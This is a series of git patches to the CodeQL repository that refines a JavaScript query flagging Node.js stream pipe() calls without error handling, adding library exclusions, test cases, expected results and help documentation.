+++ b/javascript/ql/lib/ext/strapi.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "@strapi/utils", "Fuzzy"] diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d3894d12889..d7a9868fcac 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -18,7 +18,7 @@ class PipeCall extends DataFlow::MethodCallNode { PipeCall() { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] and - not this.getArgument(0).asExpr() instanceof Function and + not this.getArgument([0, 1]).asExpr() instanceof Function and not this.getArgument(0).asExpr() instanceof ObjectExpr and not this.getArgument(0).getALocalSource() = getNonNodeJsStreamType() } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 472e41dc0bb..fc05533d7ed 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -13,6 +13,6 @@ function f(){ let testScheduler = new TestScheduler(); testScheduler.run(({x, y, z}) => { const source = x('', {o: [a, b, c]}); - z(source.pipe(null)).toBe(expected,y,); // $SPURIOUS:Alert + z(source.pipe(null)).toBe(expected,y,); }); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js index 2848b10132a..e4fd4cd4e67 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js @@ -1,5 +1,5 @@ import { async } from '@strapi/utils'; const f = async () => { - const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); // $SPURIOUS:Alert + const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 457e5e7244f..dbbc751e7b4 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,5 +1,3 @@ -| rxjsStreams.js:16:7:16:23 | source.pipe(null) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| strapi.js:4:35:4:84 | async.p ... p('y')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | @@ -13,4 +11,3 @@ | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:216:5:216:38 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 37befaf5999..a0db4f6392e 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -213,6 +213,6 @@ function test() { } { const notStream = getNotAStream(); - notStream.pipe(getStream(),()=>{}); // $SPURIOUS:Alert + notStream.pipe(getStream(),()=>{}); } } From fb92999f8ac1d77f2371985a6b820ffac50bedf4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 22:02:20 +0100 Subject: [PATCH 078/271] Add bigquery to frameworks.csv Also fix up github.com/kanikanema/gorqlite --- go/documentation/library-coverage/frameworks.csv | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/go/documentation/library-coverage/frameworks.csv b/go/documentation/library-coverage/frameworks.csv index bd5a9249068..b5a4c6d65b8 100644 --- a/go/documentation/library-coverage/frameworks.csv +++ b/go/documentation/library-coverage/frameworks.csv @@ -3,6 +3,7 @@ Standard library,https://pkg.go.dev/std, archive/* bufio bytes cmp compress/* co appleboy/gin-jwt,https://github.com/appleboy/gin-jwt,github.com/appleboy/gin-jwt* Afero,https://github.com/spf13/afero,github.com/spf13/afero* beego,https://beego.me/,github.com/astaxie/beego* github.com/beego/beego* +bigquery,https://pkg.go.dev/cloud.google.com/go/bigquery,cloud.google.com/go/bigquery* Bun,https://bun.uptrace.dev/,github.com/uptrace/bun* CleverGo,https://github.com/clevergo/clevergo,clevergo.tech/clevergo* github.com/clevergo/clevergo* Couchbase official client(gocb),https://github.com/couchbase/gocb,github.com/couchbase/gocb* gopkg.in/couchbase/gocb* @@ -35,7 +36,7 @@ golang.org/x/net,https://pkg.go.dev/golang.org/x/net,golang.org/x/net* goproxy,https://github.com/elazarl/goproxy,github.com/elazarl/goproxy* gorilla/mux,https://github.com/gorilla/mux,github.com/gorilla/mux* gorilla/websocket,https://github.com/gorilla/websocket,github.com/gorilla/websocket* -gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* +gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* github.com/kanikanema/gorqlite* goxpath,https://github.com/ChrisTrenkamp/goxpath/wiki,github.com/ChrisTrenkamp/goxpath* htmlquery,https://github.com/antchfx/htmlquery,github.com/antchfx/htmlquery* Iris,https://www.iris-go.com/,github.com/kataras/iris* From 15ff7cb41a0bfbfa3da4be83e0d701a6b5003a6e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 12:30:49 +0200 Subject: [PATCH 079/271] Added more test cases which common `js` libraries uses `.pipe()` --- .../Quality/UnhandledStreamPipe/arktype.js | 3 +++ .../query-tests/Quality/UnhandledStreamPipe/execa.js | 11 +++++++++++ .../Quality/UnhandledStreamPipe/highland.js | 8 ++++++++ .../Quality/UnhandledStreamPipe/rxjsStreams.js | 4 +++- .../Quality/UnhandledStreamPipe/test.expected | 4 ++++ 5 files changed, 29 insertions(+), 1 deletion(-) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js new file mode 100644 index 00000000000..19d944151ab --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js @@ -0,0 +1,3 @@ +import { type } from 'arktype'; + +type.string.pipe(Number) // $SPURIOUS:Alert diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js new file mode 100644 index 00000000000..59c4eafef59 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js @@ -0,0 +1,11 @@ +const execa = require('execa'); + +(async () => { + const first = execa('node', ['empty.js']); + const second = execa('node', ['stdin.js']); + + first.stdout.pipe(second.stdin); // $SPURIOUS:Alert + + const {stdout} = await second; + console.log(stdout); +})(); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js new file mode 100644 index 00000000000..406ee7f44f4 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js @@ -0,0 +1,8 @@ +const highland = require('highland'); +const fs = require('fs'); + +highland(fs.createReadStream('input.txt')) + .map(line => { + if (line.length === 0) throw new Error('Empty line'); + return line; + }).pipe(fs.createWriteStream('output.txt')); // $SPURIOUS:Alert diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index fc05533d7ed..3bbd01ac930 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -1,7 +1,7 @@ import * as rx from 'rxjs'; import * as ops from 'rxjs/operators'; import { TestScheduler } from 'rxjs/testing'; - +import { pluck } from "rxjs/operators/pluck"; const { of, from } = rx; const { map, filter } = ops; @@ -15,4 +15,6 @@ function f(){ const source = x('', {o: [a, b, c]}); z(source.pipe(null)).toBe(expected,y,); }); + + z.option$.pipe(pluck("x")) // $SPURIOUS:Alert } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index dbbc751e7b4..4c726175f18 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,3 +1,7 @@ +| arktype.js:3:1:3:24 | type.st ... Number) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| execa.js:7:3:7:33 | first.s ... .stdin) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| highland.js:4:1:8:45 | highlan ... .txt')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| rxjsStreams.js:19:3:19:28 | z.optio ... k("x")) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From c6db32ed73b790aaf5cd094c03473386d4e7920e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 12:34:11 +0200 Subject: [PATCH 080/271] Add exceptions for `arktype`, `execa`, and `highland` to prevent them from being flagged by unhandled pipe error query --- javascript/ql/lib/ext/arktype.model.yml | 6 ++++++ javascript/ql/lib/ext/execa.model.yml | 6 ++++++ javascript/ql/lib/ext/highland.model.yml | 6 ++++++ .../test/query-tests/Quality/UnhandledStreamPipe/arktype.js | 2 +- .../test/query-tests/Quality/UnhandledStreamPipe/execa.js | 2 +- .../query-tests/Quality/UnhandledStreamPipe/highland.js | 2 +- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 3 --- 7 files changed, 21 insertions(+), 6 deletions(-) create mode 100644 javascript/ql/lib/ext/arktype.model.yml create mode 100644 javascript/ql/lib/ext/execa.model.yml create mode 100644 javascript/ql/lib/ext/highland.model.yml diff --git a/javascript/ql/lib/ext/arktype.model.yml b/javascript/ql/lib/ext/arktype.model.yml new file mode 100644 index 00000000000..38cb8eb7de6 --- /dev/null +++ b/javascript/ql/lib/ext/arktype.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "arktype", "Fuzzy"] diff --git a/javascript/ql/lib/ext/execa.model.yml b/javascript/ql/lib/ext/execa.model.yml new file mode 100644 index 00000000000..1f05b575e99 --- /dev/null +++ b/javascript/ql/lib/ext/execa.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "execa", "Fuzzy"] diff --git a/javascript/ql/lib/ext/highland.model.yml b/javascript/ql/lib/ext/highland.model.yml new file mode 100644 index 00000000000..eb581bf6363 --- /dev/null +++ b/javascript/ql/lib/ext/highland.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "highland", "Fuzzy"] diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js index 19d944151ab..cac5e57511d 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js @@ -1,3 +1,3 @@ import { type } from 'arktype'; -type.string.pipe(Number) // $SPURIOUS:Alert +type.string.pipe(Number); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js index 59c4eafef59..052875e849b 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js @@ -4,7 +4,7 @@ const execa = require('execa'); const first = execa('node', ['empty.js']); const second = execa('node', ['stdin.js']); - first.stdout.pipe(second.stdin); // $SPURIOUS:Alert + first.stdout.pipe(second.stdin); const {stdout} = await second; console.log(stdout); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js index 406ee7f44f4..08ac4f8954a 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js @@ -5,4 +5,4 @@ highland(fs.createReadStream('input.txt')) .map(line => { if (line.length === 0) throw new Error('Empty line'); return line; - }).pipe(fs.createWriteStream('output.txt')); // $SPURIOUS:Alert + }).pipe(fs.createWriteStream('output.txt')); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 4c726175f18..6b267f502e3 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,6 +1,3 @@ -| arktype.js:3:1:3:24 | type.st ... Number) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| execa.js:7:3:7:33 | first.s ... .stdin) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| highland.js:4:1:8:45 | highlan ... .txt')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | rxjsStreams.js:19:3:19:28 | z.optio ... k("x")) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From 248f83c4db280918c1b1d353196fb2ed6e106d5e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 13:35:36 +0200 Subject: [PATCH 081/271] Added `qhelp` for `UnhandledStreamPipe` query --- .../ql/src/Quality/UnhandledStreamPipe.qhelp | 44 +++++++++++++++++++ .../Quality/examples/UnhandledStreamPipe.js | 6 +++ .../examples/UnhandledStreamPipeGood.js | 17 +++++++ .../UnhandledStreamPipeManualError.js | 16 +++++++ 4 files changed, 83 insertions(+) create mode 100644 javascript/ql/src/Quality/UnhandledStreamPipe.qhelp create mode 100644 javascript/ql/src/Quality/examples/UnhandledStreamPipe.js create mode 100644 javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js create mode 100644 javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp new file mode 100644 index 00000000000..677bdbd4177 --- /dev/null +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.qhelp @@ -0,0 +1,44 @@ + + + + +

+In Node.js, calling the pipe() method on a stream without proper error handling can lead to silent failures, where errors are dropped and not propagated downstream. This can result in unexpected behavior and make debugging difficult. It is crucial to ensure that error handling is implemented when using stream pipes to maintain the reliability of the application. +

+
+ + +

+Instead of using pipe() with manual error handling, prefer using the pipeline function from the Node.js stream module. The pipeline function automatically handles errors and ensures proper cleanup of resources. This approach is more robust and eliminates the risk of forgetting to handle errors. +

+

+If you must use pipe(), always attach an error handler to the source stream using methods like on('error', handler) to ensure that any errors during the streaming process are properly handled. +

+
+ + +

+The following code snippet demonstrates a problematic usage of the pipe() method without error handling: +

+ + + +

+A better approach is to use the pipeline function, which automatically handles errors: +

+ + + +

+Alternatively, if you need to use pipe(), make sure to add error handling: +

+ + +
+ + +
  • Node.js Documentation: stream.pipeline().
  • + + diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js new file mode 100644 index 00000000000..d31d6936f22 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipe.js @@ -0,0 +1,6 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Bad: No error handling +source.pipe(destination); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js new file mode 100644 index 00000000000..08b9b2a1aab --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeGood.js @@ -0,0 +1,17 @@ +const { pipeline } = require('stream'); +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Good: Using pipeline for automatic error handling +pipeline( + source, + destination, + (err) => { + if (err) { + console.error('Pipeline failed:', err); + } else { + console.log('Pipeline succeeded'); + } + } +); diff --git a/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js new file mode 100644 index 00000000000..113bc811774 --- /dev/null +++ b/javascript/ql/src/Quality/examples/UnhandledStreamPipeManualError.js @@ -0,0 +1,16 @@ +const fs = require('fs'); +const source = fs.createReadStream('source.txt'); +const destination = fs.createWriteStream('destination.txt'); + +// Alternative Good: Manual error handling with pipe() +source.on('error', (err) => { + console.error('Source stream error:', err); + destination.destroy(err); +}); + +destination.on('error', (err) => { + console.error('Destination stream error:', err); + source.destroy(err); +}); + +source.pipe(destination); From 000e69fd487feff754d6dfce88733cef2b66e863 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 13:55:40 +0200 Subject: [PATCH 082/271] Replaced fuzzy `NonNodeStream` MaD to a ql predicate to deal easier with submodules --- javascript/ql/lib/ext/arktype.model.yml | 6 ------ javascript/ql/lib/ext/execa.model.yml | 6 ------ javascript/ql/lib/ext/highland.model.yml | 6 ------ javascript/ql/lib/ext/rxjs.model.yml | 8 ------- javascript/ql/lib/ext/strapi.model.yml | 6 ------ .../ql/src/Quality/UnhandledStreamPipe.ql | 21 ++++++++++++++++++- .../UnhandledStreamPipe/rxjsStreams.js | 2 +- .../Quality/UnhandledStreamPipe/test.expected | 1 - 8 files changed, 21 insertions(+), 35 deletions(-) delete mode 100644 javascript/ql/lib/ext/arktype.model.yml delete mode 100644 javascript/ql/lib/ext/execa.model.yml delete mode 100644 javascript/ql/lib/ext/highland.model.yml delete mode 100644 javascript/ql/lib/ext/rxjs.model.yml delete mode 100644 javascript/ql/lib/ext/strapi.model.yml diff --git a/javascript/ql/lib/ext/arktype.model.yml b/javascript/ql/lib/ext/arktype.model.yml deleted file mode 100644 index 38cb8eb7de6..00000000000 --- a/javascript/ql/lib/ext/arktype.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "arktype", "Fuzzy"] diff --git a/javascript/ql/lib/ext/execa.model.yml b/javascript/ql/lib/ext/execa.model.yml deleted file mode 100644 index 1f05b575e99..00000000000 --- a/javascript/ql/lib/ext/execa.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "execa", "Fuzzy"] diff --git a/javascript/ql/lib/ext/highland.model.yml b/javascript/ql/lib/ext/highland.model.yml deleted file mode 100644 index eb581bf6363..00000000000 --- a/javascript/ql/lib/ext/highland.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "highland", "Fuzzy"] diff --git a/javascript/ql/lib/ext/rxjs.model.yml b/javascript/ql/lib/ext/rxjs.model.yml deleted file mode 100644 index 0d1c26650a2..00000000000 --- a/javascript/ql/lib/ext/rxjs.model.yml +++ /dev/null @@ -1,8 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "rxjs", "Fuzzy"] - - ["NonNodeStream", "rxjs/operators", "Fuzzy"] - - ["NonNodeStream", "rxjs/testing", "Fuzzy"] diff --git a/javascript/ql/lib/ext/strapi.model.yml b/javascript/ql/lib/ext/strapi.model.yml deleted file mode 100644 index 9dbe753b31b..00000000000 --- a/javascript/ql/lib/ext/strapi.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: typeModel - data: - - ["NonNodeStream", "@strapi/utils", "Fuzzy"] diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index d7a9868fcac..1f9bf0b8d7a 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -35,7 +35,26 @@ class PipeCall extends DataFlow::MethodCallNode { * This is used to exclude pipe calls on non-stream objects from analysis. */ DataFlow::Node getNonNodeJsStreamType() { - result = ModelOutput::getATypeNode("NonNodeStream").asSource() + result = getNonStreamApi().getAValueReachableFromSource() +} + +//highland, arktype execa +API::Node getNonStreamApi() { + exists(string moduleName | + moduleName + .regexpMatch([ + "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)" + ]) and + result = API::moduleImport(moduleName) + ) + or + result = getNonStreamApi().getAMember() + or + result = getNonStreamApi().getAParameter().getAParameter() + or + result = getNonStreamApi().getReturn() + or + result = getNonStreamApi().getPromised() } /** diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 3bbd01ac930..79373b49375 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -16,5 +16,5 @@ function f(){ z(source.pipe(null)).toBe(expected,y,); }); - z.option$.pipe(pluck("x")) // $SPURIOUS:Alert + z.option$.pipe(pluck("x")) } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 6b267f502e3..dbbc751e7b4 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,4 +1,3 @@ -| rxjsStreams.js:19:3:19:28 | z.optio ... k("x")) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From e964b175e66cf67d5f975c4f4f5d7e61a5155808 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 14:23:20 +0200 Subject: [PATCH 083/271] Added `maintainability` and `error-handling` tags --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 1f9bf0b8d7a..4f5dc1f735d 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -6,6 +6,8 @@ * @problem.severity warning * @precision high * @tags quality + * maintainability + * error-handling * frameworks/nodejs */ From 5214cc040753511a005622801e075f465cb60a60 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 27 May 2025 09:45:37 +0200 Subject: [PATCH 084/271] Excluded `ngrx`, `datorama`, `angular`, `react` and `langchain` from stream pipe query. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 3 +- .../Quality/UnhandledStreamPipe/fizz-pipe.js | 29 +++++++++++++++++++ .../Quality/UnhandledStreamPipe/langchain.ts | 15 ++++++++++ .../Quality/UnhandledStreamPipe/ngrx.ts | 17 +++++++++++ 4 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 4f5dc1f735d..913957b4c68 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -45,7 +45,8 @@ API::Node getNonStreamApi() { exists(string moduleName | moduleName .regexpMatch([ - "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)" + "rxjs(|/.*)", "@strapi(|/.*)", "highland(|/.*)", "execa(|/.*)", "arktype(|/.*)", + "@ngrx(|/.*)", "@datorama(|/.*)", "@angular(|/.*)", "react.*", "@langchain(|/.*)", ]) and result = API::moduleImport(moduleName) ) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js new file mode 100644 index 00000000000..94906ee46b6 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/fizz-pipe.js @@ -0,0 +1,29 @@ +import React, { Suspense } from "react"; +import { renderToPipeableStream } from "react-dom/server"; +import { PassThrough } from "stream"; +import { act } from "react-dom/test-utils"; + + +const writable = new PassThrough(); +let output = ""; +writable.on("data", chunk => { output += chunk.toString(); }); +writable.on("end", () => { /* stream ended */ }); + +let errors = []; +let shellErrors = []; + +await act(async () => { + renderToPipeableStream( + }> + + , + { + onError(err) { + errors.push(err.message); + }, + onShellError(err) { + shellErrors.push(err.message); + } + } + ).pipe(writable); +}); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts new file mode 100644 index 00000000000..3203dafedf7 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/langchain.ts @@ -0,0 +1,15 @@ +import { RunnablePassthrough, RunnableSequence } from "@langchain/core/runnables"; + +const fakeRetriever = RunnablePassthrough.from((_q: string) => + Promise.resolve([{ pageContent: "Hello world." }]) +); + +const formatDocumentsAsString = (documents: { pageContent: string }[]) =>documents.map((d) => d.pageContent).join("\n\n"); + +const chain = RunnableSequence.from([ + { + context: fakeRetriever.pipe(formatDocumentsAsString), + question: new RunnablePassthrough(), + }, + "", +]); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts new file mode 100644 index 00000000000..c72d8447bb5 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/ngrx.ts @@ -0,0 +1,17 @@ +import { Component } from '@angular/core'; +import { Store, select } from '@ngrx/store'; +import { Observable } from 'rxjs'; + +@Component({ + selector: 'minimal-example', + template: ` +
    {{ value$ | async }}
